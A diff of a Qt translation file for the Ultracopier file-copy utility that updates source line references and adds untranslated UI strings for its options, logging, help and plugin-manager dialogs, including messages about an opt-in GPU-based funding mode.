+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
